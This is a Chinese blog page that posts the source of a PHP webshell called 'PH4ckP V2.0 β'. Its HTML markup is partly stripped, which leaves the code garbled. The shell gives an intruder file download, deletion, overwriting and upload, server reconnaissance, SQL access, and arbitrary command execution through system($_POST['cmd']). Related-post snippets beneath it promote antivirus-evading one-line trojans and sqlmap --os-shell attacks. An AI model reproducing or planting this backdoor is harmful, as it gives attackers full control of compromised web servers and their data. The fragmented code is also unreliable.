php小马怎么打开,phpshell（小马）

最新推荐文章于 2024-04-19 05:29:24 发布
最新推荐文章于 2024-04-19 05:29:24 发布
阅读量414 收藏
点赞数
文章标签： php小马怎么打开

if

($downfile) {@set_time_limit(600);

$filename = basename($downfile);

$filesize = filesize($downfile);

header("Content-Type: application/force-download;

name=".$filename);

header("Content-Transfer-Encoding: binary");

header("Content-Length: $filesize");

header("Content-Disposition: attachment;

filename=".$filename);

header("Expires: 0");

header("Cache-Control: no-cache, must-revalidate");

header("Pragma: no-cache");

readfile("$downfile");

exit();

}

if($delfile!=""){

if(is_file($delfile)){

$message = (@unlink($delfile))

? "The deletion document succeeds!`$delfile` Already

deleted!"

: "The deletion document is defeated！`$delfile` The document

exists!" ;

}else{

$message = "File `$delfile` does not exist！";

}

}

echo $message;

if ($refilename){

echo

'

echo '

method="post">';

echo '
';

echo '

';

echo '

';

echo '';

echo 'Enter the newname to here：';

echo '

name="newname"/>';

echo '

value="Rename"/>';

echo '

';echo

'';echo

'

';

$oldname=basename($refilename);

if (@rename($oldname,$_POST['newname'])){

echo

'';}

else

{ if

(!empty($_POST['newname']))

echo

'';}

}

if ($editfile) {

echo

'

echo

'

method="post">';

echo

'';

echo

'

';

$content=basename($editfile);

$fp=@fopen("$content","a+");

$data=@fread($fp,filesize($content));

echo

'

';

echo

'

>';

echo

$data;

if

(!empty($_POST['newcontent']))

{echo

$result=$result=@fwrite($fp,$_POST['newcontent'])?"The

injection document succeeds！Good Luck!":"The injection document is

defeated！";

}

}

echo

'

';

?>

PH4ckP V2.0 β By

pr0cess

body {font-family: "sans-serif", "serif"; font-size: 12px;}

BODY { background-color:#A2B5CD }

a:link {color: #BFEFFF; text-decoration: none}

a:visited {color: #080808; text-decoration: none}

a:hover {color: #FFFFFF; text-decoration: underline}

input {font-family: "sans-serif", "serif";font-size: 12px;}

td {font-family: "sans-serif", "Verdana"; font-size: 12px;}

.title {font-family: "Verdana", "Tahoma";font-size:

20px;font-weight: bold; color=black}

align="center">PH4ckP V2.0

β

action="=$PHP_SELF?>"

method="get">

Operating

system:<?echo

PHP_OS;?>

Server

name:<?echo

$_SERVER['SERVER_NAME'];?>

Server

IP:<?echo

gethostbyname($_SERVER['SERVER_NAME']);?>

Server

time:<?echo date("Y年m月d日

h:i:s",time());?>

Server

port :<?echo

$_SERVER['SERVER_PORT'];?>

href=http://translate.google.com/translate_t>Click

here to translate online

href="?shell=env">『PHP探针模块』

href="?shell=checkdir">『目录浏览模块[快速]』

href="?shell=command">『命令执行模块』

href="?shell=sql">『数据库操作模块』

href="?shell=change">『字符转换模块』

/table>

Current

dir of contents：<?php

if (!isset($dir) or empty($dir)) {

$dir=str_replace('\\','/',dirname(__FILE__));

echo "

color=\"#00688B\">".$dir."

";

} else {

$dir=$_GET['dir'];

echo "

color=\"#00688B\">".$dir."

";

}

?>

method="post">

UploadFile：

style="font-family:Verdana,Arial; font-size:

9pt;">

style="font-family:Verdana,Arial; font-size:

9pt;background-color:#A2B5CD">

//文件上传

$upload_file=$_FILES['upload_file']['tmp_name'];

$upload_file_name=$_FILES['upload_file']['name'];

if($upload_file){

$file_size_max = 1000*1000;

$store_dir = "__FILE__";

$accept_overwrite = 1;

if ($upload_file_size > $file_size_max) {

echo "兄弟！换个小点滴！！";

exit;

}

if (file_exists($store_dir . $upload_file_name)

&& !$accept_overwrite) {

Echo "文件已存在！";

exit;

}

if (!move_uploaded_file($upload_file,$upload_file_name)) {

echo "上传文件失败！";

exit;

}

}

Echo "

Uploaded file:";

echo $_FILES['upload_file']['name'];

Echo "Uploadfilesiza:";

echo $_FILES['upload_file']['size']/1024;

$Erroe=$_FILES['upload_file']['error'];

switch($Erroe){

case 0:

Echo "Loading..."; break;

case 1:

Echo "上传的文件超过限制！"; break;

case 2:

Echo "上传文件的大小超过限制！"; break;

}

echo

'

echo '';

echo '

';

?>

echo '

cellpadding="3">';

echo '

method="get">';

echo '

';

echo

'

';

echo "The dir of contents glances over：";

echo '

style="font-family:Verdana,Arial; font-size:

9pt;">';

echo '

style="font-family:Verdana,Arial; font-size:

9pt;background-color:#A2B5CD ">';

echo

'

';

echo

'

';

echo '

';

echo '

cellspacing="1">';

echo '

';

echo

'

';echo

"Sub-Dir of contents";echo

'

';

echo '

';

$dirs=@opendir($dir);

while ($file=@readdir($dirs)) {

$b="$dir/$file";

$a=@is_dir($b);

if($a=="1"){

if($file!=".."&&$file!=".") {

echo "

\n";

echo " 

href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">$file

\n";

echo "

\n";

} else {

if($file=="..")

echo "

href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">Back

higher authority dir of

contents

";

}

}

}

@closedir($dirs);

?>

cellspacing="1">

Filename Filedate Filesize Fileoperates

$dirs=@opendir($dir);

while ($file=@readdir($dirs)) {

$b="$dir/$file";

$a=@is_dir($b);

if($a=="0"){

$size=@filesize("$dir/$file")/1024;

$lastsave=@date("Y-n-d

H:i:s",filectime("$dir/$file"));

echo

"

\n";

echo

"

$file\n";

echo " 

$lastsave\n";

echo

" 

$size

KB

\n";

echo " 

href=\"?downfile=".urlencode($dir)."/".urlencode($file)."\">［Down］

href=\"?dir=".urlencode($dir)."&delfile=".urlencode($dir)."/".urlencode

($file)."\">［Delete］

href=\"?refilename=".urlencode($dir)."/".urlencode($file)."\">

［Rename］

href=\"?editfile=".urlencode($dir)."/".urlencode($file)."\">［Injects］

\n";

echo

"

\n";

}

}

@closedir($dirs);

?>

function dir_wriable($dir){

$xY7_test=tempnam("$dir","test_file");

if ($fp=@fopen($xY7_test,"w")){

@fclose($fp);

@unlink($xY7_test);

$wriable="ture";

}

else {

$wriable=false or die ("Cannot open $xY7_test!");

}

return $wriable;

}

if (dir_wriable(str_replace('//','/',dirname(__FILE__)))){

$dir_wriable='目录可写';

echo

"当前目录可写!^ _

^";

}

else{

$dir_wriable='目录不可写';

echo

"当前目录不可写！";

}

function getinfo($xy7)

{

if($xy7==1)

{

$s='

color=blue>YES√

';

}

else

{

$s='

color=red>NO×

';

}

return $s;

} echo

'
';

echo '
';

echo "服务器系统：" ;

echo PHP_OS;

echo '
';

echo "服务器域名:";

echo $_SERVER['SERVER_NAME'];

echo '
';

echo "WEB服务器端口：";

echo $_SERVER['SERVER_PORT'];

echo '
';

echo "服务器时间:";

echo date("Y年m月d日 h:i:s",time());

echo '
';

echo "服务器IP地址:";

echo

gethostbyname($_SERVER['SERVER_NAME']);

echo '
';

echo "服务器操作系统文字编码:";

echo $_SERVER['HTTP_ACCEPT_LANGUAGE'];

echo '
';

echo "服务器解释引擎:";

echo $_SERVER['SERVER_SOFTWARE'];

echo '
';

echo "PHP运行方式:";

echo strtoupper(php_sapi_name());

echo '
';

echo "PHP版本:";

echo PHP_VERSION;

echo '
';

echo "ZEND版本:";

echo zend_version();

echo '
';

echo "本文件绝对路径:";

echo __FILE__;

echo '
';

echo "服务器剩余空间:";

echo intval(diskfreespace(".") / (1024 *

1024)).'MB';

echo '
';

echo "脚本运行可占最大内存:";

echo get_cfg_var("memory_limit");

echo '
';

echo "脚本上传文件大小限制:";

echo get_cfg_var("upload_max_filesize");

echo '
';

echo "被屏蔽函数:";

echo get_cfg_var("disable_functions");

echo '
';

echo "POST方法提交限制:";

echo get_cfg_var("post_max_size");

echo '
';

echo "脚本超时时间:";

echo

get_cfg_var("max_execution_time")."秒";

echo '
';

echo "动态链接库:";

echo getinfo(get_cfg_var("enable_dl"));

echo '
';

echo "自定义全局变量:";

echo

getinfo(get_cfg_var("register_globals"));

echo '
';

echo "显示错误信息:";

echo

getinfo(get_cfg_var("display_errors"));

echo '
';

echo "PHP安全模式:";

echo getinfo(get_cfg_var("safe_mode"));

echo '
';

echo "FTP文件传输:";

echo getinfo(get_magic_quotes_gpc("FTP

support"));

echo '
';

echo"允许使用URL打开文件:";

echo

getinfo(get_cfg_var("allow_url_fopen"));

echo '
';

echo "SESSION支持:";

echo

getinfo(function_exists("session_start"));

echo '
';

echo "Socket支持:";

echo

getinfo(function_exists("fsockopen"));

echo '
';

echo "MYSQL数据库:";

echo

getinfo(function_exists("mysql_close"));

echo '
';

echo "SQL SERVER数据库:";

echo

getinfo(function_exists("mssql_close"));

echo '
';

echo "ODBC数据库:";

echo

getinfo(function_exists("odbc_close"));

echo '
';

echo "Oracle数据库:";

echo

getinfo(function_exists("ora_close"));

echo '
';

echo "SNMP协议:";

echo getinfo(function_exists("snmpget"));

echo '
';

echo '
';

}

elseif ($_GET['shell']=="checkdir"){

global $PHP_SELF;

echo '

method="post">';

echo "快速目录浏览:";

echo '

name="dir" style="font-family:Verdana,Arial; font-size:

9pt;"/>';

echo '

value="GoTo" style="font-family:Verdana,Arial; font-size: 9pt;

background-color:#A2B5CD"/>';

echo '
';

echo '

cols="70" rows="15">';

if (empty($_POST['dir']))

$newdir="./";

else

$newdir=$_POST['dir'];

$handle=@opendir($newdir);

echo "handle: $handle\n";

while ($file=@readdir($handle))

{echo

("$file \n");}

echo

'

';

echo '
';

$nowdir=dirname($PHP_SELF);

}

elseif ($_GET['shell']=="command"){

echo '

echo '

method="post">';

echo '
';

echo '

';

echo '

';

echo 'Enter your command：';

echo '

style="font-family:Verdana,Arial; font-size:

9pt;"/>';

echo '

style="font-family:Verdana,Arial; font-size:

9pt;background-color:#A2B5CD"/>';

echo '

';echo

'';

echo '

';

echo '

';

echo '

readonly>';

@system($_POST['cmd']);

echo

'

';

}

elseif ($_GET['shell']=="change"){

echo '

method="post">';

echo '
';

echo "Enter binary character:";

echo '

style="font-family:Verdana,Arial; font-size:

9pt;"/>';

echo '';

echo '

';

echo '

readonly>';

$result=bin2hex($_POST['char']);

echo "0x".$result;

echo

'

';

}

elseif ($_GET['shell']=="sql"){

echo '

cellSpacing=8 cellPadding=4>';

echo

'

';

echo '

method="post">';

echo "Host:";

echo '

type="text" style="font-family:Verdana,Arial; font-size:

9pt;">';

echo

'

';

echo "Username:";

echo '

type="text" style="font-family:Verdana,Arial; font-size:

9pt;">';

echo

'

';

echo

'

';

echo "Password:";

echo '

type="text" style="font-family:Verdana,Arial; font-size:

9pt;">';

echo

'

';

echo "DBname:";

echo '

type="text" style="font-family:Verdana,Arial; font-size:

9pt;">';

echo '

value="Connect" style="font-family:Verdana,Arial; font-size: 9pt;

background-color:#A2B5CD"/>';

echo

'

';

if

(@mysql_connect($servername,$username,$password) and

@mysql_select_db($dbname)) {

echo "The database connects successfully!";

mysql_close();

} else {

echo mysql_error();

}

if (!empty($dbresult)){

$dbresult = @mysql_query($_POST['query']);

echo ($result) ? "Requests successfully!" : "The request makes a

mistake: ".mysql_error();

mysql_close();}

echo

'

';

echo '

rows="10">';

echo '

';

echo

'

';

echo '

align="center">';

echo '';

echo

'

';

echo '

';

}

?>

align="center">

Copyright (C) 2006 All Rights

Reserved

灰太狼deee微笑
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
php超小免杀大马_超小PHP小马小结(方便查找后门的朋友)免杀
weixin_39579483的博客
12-30 838
作者: spider我也来个超小PHP小马复制代码 代码如下:header("content-Type: text/html; charset=gb2312");if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);?>保存文件名: if(isset($_POST['file...
PHP木马
qq_41272376的博客
02-16 4379
​ PHP木马 一句话木马 可以在目标服务器上执行PHP代码，并和客户端（如菜刀，Cknife、冰蝎、蚁剑）进行交互的webshell，俗称小马。 多功能木马 根据PHP语法，编写较多代码，并在服务器上执行，完成所有功能的Webshell，俗称大马 逻辑木马 利用系统逻辑漏洞（如php uaf漏洞），绕过访问控制或执行特殊功能的WebShell PHP 可执行系统命令的函数 system string system ( string $command [, int &$return_var ] );
如何用PHP执行shell 脚本和 shell命令
weixin_45312916的博客
02-11 2765
php执行shell
一句话木马针对的不同框架使用_php大马小马什么区别，太香了
最新发布
2401_83947048的博客
04-19 690
webshell根据脚本可以分为PHP脚本木马，ASP脚本木马，也有基于.NET的脚本木马和JSP脚本木马。webshell根据功能也分为大马、小马和一句话木马，例如：通常把这句话写入一个文档里面，然后文件名改成xx.asp。然后传到服务器上面。小马和大马都是网页类型中的一种后门，是通过用来控制网站权限的，那最主要的区别就是小马是用来上传大马的。小马体积小，有比大马更强的隐蔽优势，而且有针对文件大小上传限制的漏洞，所以才有小马，小马也通常用来做留备用后门等。
php webshell探索-常见小马
qq_44370676的博客
12-11 4349
webshell一.何为webshell二.常见小马探索1.直接型2.通过反射类调用3.通过排序函数调用4.通过类的混淆1.类的魔术方法2.类的自定义方法3.通过反射获取类的注释5.通过函数的混淆6.普通的混淆7.其他的隐藏方式1.ob_start2.register_shutdown_function3.回调函数4.数组5.反引号 一.何为webshell 黑客通过一定途径将webshell上传至服务器具有执行权限（必须要有执行权限才可以，没有执行权限是没有用的）的WEB目录下。远程访问webshell实
渗透测试-过D盾一句话+上传小马
lza20001103的博客
08-29 1294
过D盾一句话+上传小马 文章目录过D盾一句话+上传小马前言方式一PHP一句话马方式二PHP上传小马 前言 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境，主要用于网站管理、服务器管理、权限管理等操作。使用方法简单，只需上传一个代码文件，通过网址访问，便可进行很多日常操作，极大地方便了使用者对网站和服务器的管理。正因如此，也有小部分人将代码修改后当作后门程序使用，以达到控制网站服务器的目的。 方式一 PHP一句话马 1.代码 <?php class
PHP过D盾免杀小马.zip
06-14
提供混淆以及未混淆两个文件，可以随意过D盾，可用菜刀直接连接！
超小PHP小马小结(方便查找后门的朋友)
10-28
超小PHP小马小结，方便查找后门的朋友，发现相关类似代码可以直接封杀了
PHP小马免杀的浅谈[过最新D盾]1
08-03
PHP小马免杀的浅谈[过最新D盾]344 字 5 分钟绕过思路1:使用写文件的函数写出另一个php文件然后include/require 回来执行方法1:Fil
meeidol-luo#WebShell#另类PHP一句话小马1
07-25
另类PHP一句话小马利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候，会在服务器上生成一个临时文件，而$_FILES这个变量里
未加密PHP小马源代码
01-10
未加密的PHP网马源代码，供代码研究。 部分代码： <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> ...
免杀小马devilsafe 代码
09-20
过国内大部分SD，拥有全能型的过杀毒系统，自动脱壳。
php-webshell大马(功能齐全）
10-28
php小马 详细的资源以后我会推荐 使用方法：上传至网站任意目录连接即可，其中 $admin['pass'] = "admin"; 后面引号里的admin为连接密码，可自由修改此密码。
PHP小马免杀的浅谈[过最新D盾]
shadowwolf’s blog
07-25 727
PHP小马免杀的浅谈[过最新D盾] 绕过主要思路:使用写文件的函数写出另一个php文件然后include/require 回来执行方法1:File_put_content方法2 使用fwrite 绕过 主要思路:使用写文件的函数写出另一个php文件然后include/require 回来执行 方法1:File_put_content D盾还是报了，但如果是PHP7.0以上的，还是有绕过方法滴: <?php /* T00ls.net shadowwolf 2021-7-25 */ ( ~urldec
shell 免杀aspx_Webshell免杀
weixin_39656513的博客
12-31 591
一句话木马在渗透测试中最常用的就是一句话后门(小马)和中国菜刀的配合。如果出现某种WAF防护，就寻找一个免杀的大马挂马。最常见的php一句话木马这个一句话木马由两部分组成，eval用来执行接收的代码。$_POST['x']来接收数值。本着这个原则，尝试改写一句话木马绕过WAF。搜集了几个常用的php函数执行代码的eval、assert、preg_replace接收数据的$_POST、$_GET、$...
使用蚁剑向网站上传小马
qq_67757718的博客
02-03 821
准备，被攻击的网站由PHP语言编写，创建一个php文件，编辑脚本<? php @eval($_POST['123'])?> sqlmap -u"http://43.138.211.45/about.php?listid=6" --os-shell进行攻击 选择语言，攻击的网站是由PHP语言编写，输入4，回车，输入y 输入2选择自定义位置,回车，输入根目录位置 查看网站的根目录是/var/www/html 回车得到 两个网址 复制第一个网址，在浏览器中打开
php webshell探索-常见小马的opcode
qq_44370676的博客
12-14 521
OpCode一.php opcode 一.php opcode opcode是php语言里供zend引擎执行的一种中间代码，类似java中的字节码、或者python中的字节码对象pycodeobject。常见的opcode可以参考官方文档 通常可以通过PHP的VLD（VulcanLogic Dumper，逻辑代码展现）扩展来查看PHP文件对应的opcode。 ...
PHP执行cmd方法若干
weixin_30836759的博客
09-11 894
<?php /* $action = $_GET['cmd']; echo "<pre>"; system($action); echo"<pre/>" */ /* $action = $_GET['cmd']; echo"<pre>"; echo passthru($action); echo"<pre/>"; ...
图片马 php 菜刀,图片马的制作以及菜刀的使用
weixin_30407563的博客
04-14 1169
有些网站我们在拿shell的时候，会要用到上传文件，但是有的时候都会有过滤，如果只是上传.asp .php结尾的文件的话系统是不会给你上传的，那么这个时候我们通常会利用一些其他的思路，比如说iis6中的解析漏洞，把一句话放到图片里面，写成1.asp;.jpg 1.asp;.jpg的格式上传上去，这样上传的时候文件会被检测为是图片，上传成功之后会将这个文件当asp来解析图片马是WEB渗透测试时的必备...
web大马和小马的区别
07-09
Web大马（Web Shell）是一种恶意软件，通常以脚本文件的形式存在于受攻击的Web服务器上。它可以通过远程访问的方式，让黑客在受感染的服务器上执行命令和控制服务器。Web大马通常隐藏在合法的文件中，例如网页或脚本...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值